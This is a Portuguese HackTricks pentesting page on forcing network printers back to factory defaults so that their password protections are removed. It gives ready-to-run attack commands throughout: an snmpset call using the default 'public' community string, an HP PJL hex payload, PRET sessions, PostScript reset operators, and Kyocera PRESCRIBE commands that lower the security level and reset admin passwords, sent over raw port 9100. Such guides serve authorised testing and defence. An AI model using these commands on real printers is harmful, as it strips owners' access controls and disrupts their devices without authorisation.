hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md
2024-12-12 13:56:11 +01:00

7.1 KiB

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Resetar um dispositivo para as configurações de fábrica é uma funcionalidade crítica de segurança, pois sobrescreve mecanismos de proteção como senhas definidas pelo usuário. Isso geralmente pode ser feito pressionando uma combinação especial de teclas no painel de controle da impressora. Realizar tal reset a frio leva apenas segundos e, portanto, é um cenário realista para atacantes locais ou pentesters, que podem, por exemplo, entrar sorrateiramente na sala de cópias na hora do almoço. No entanto, o acesso físico ao dispositivo nem sempre é uma opção.

SNMP

O Printer-MIB define o Objeto prtGeneralReset (OID 1.3.6.1.2.1.43.5.1.1.3.1) que permite a um atacante reiniciar o dispositivo (powerCycleReset(4)), resetar as configurações do NVRAM (resetToNVRAM(5)) ou restaurar as configurações de fábrica (resetToFactoryDefaults(6)) usando SNMP. Esse recurso/ataque é suportado por uma grande variedade de impressoras e remove todos os mecanismos de proteção como senhas definidas pelo usuário para o servidor web embutido. Embora os mecanismos de proteção possam ser eficientemente contornados, uma desvantagem prática dessa abordagem é que toda a configuração de endereço IP estático será perdida. Se não houver serviço DHCP disponível, o atacante não será capaz de reconectar ao dispositivo após resetá-lo para as configurações de fábrica.

Resetar o dispositivo para as configurações de fábrica padrão pode ser realizado usando o comando snmpset como mostrado abaixo (você precisa conhecer a string da comunidade, que na maioria dos casos é public por padrão):

snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6

PML/PJL

Em muitos cenários, um atacante não tem a capacidade de realizar solicitações SNMP devido a firewalls ou strings de comunidade SNMP desconhecidas. No entanto, em dispositivos HP, o SNMP pode ser transformado em sua representação PML e incorporar a solicitação dentro de um trabalho de impressão legítimo. Isso permite que um atacante reinicie e/ou redefina o dispositivo para as configurações de fábrica dentro de trabalhos de impressão comuns, conforme mostrado abaixo:

@PJL DMCMD ASCIIHEX="040006020501010301040106"

Qualquer pessoa pode reproduzir este ataque em impressoras HP, reiniciando ou redefinindo o dispositivo pode facilmente ser reproduzido usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PostScript

PostScript oferece um recurso similar: O parâmetro do sistema FactoryDefaults, 'uma flag que, se definida como true imediatamente antes da impressora ser desligada, faz com que todos os parâmetros não voláteis revertam para seus valores padrão de fábrica na próxima vez que for ligada'. Deve-se notar que o próprio PostScript também tem a capacidade de reiniciar seu ambiente, mas requer uma senha válida.
No entanto, o interpretador PostScript pode ser colocado em um loop infinito, conforme discutido em ataques de DoS de processamento de documentos, o que obriga o usuário a reiniciar manualmente o dispositivo e, assim, redefinir a senha do PostScript.

Redefinir os parâmetros do sistema PostScript para os padrões de fábrica:

<< /FactoryDefaults true >> setsystemparams

Reinicie o interpretador PostScript e a memória virtual:

true 0 startjob systemdict /quit get exec

Qualquer pessoa pode reiniciar ou redefinir o interpretador PostScript de uma impressora, o que pode ser facilmente reproduzido usando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PRESCRIBE

Para dispositivos Kyocera, as linguagens de descrição de página PRESCRIBE podem ser usadas para redefinir o dispositivo para as configurações de fábrica a partir de trabalhos de impressão comuns usando um dos comandos mostrados abaixo:

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'";  CMMT "Drop the security level, reset password";
!R! ACNT "REST";                                       CMMT "Reset account code admin password";
!R! EGRE;                                              CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0";                                   CMMT "Reset configuration settings";

Para reproduzir este ataque, abra uma conexão de rede crua com a porta 9100/tcp da impressora e envie os comandos documentados acima.

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: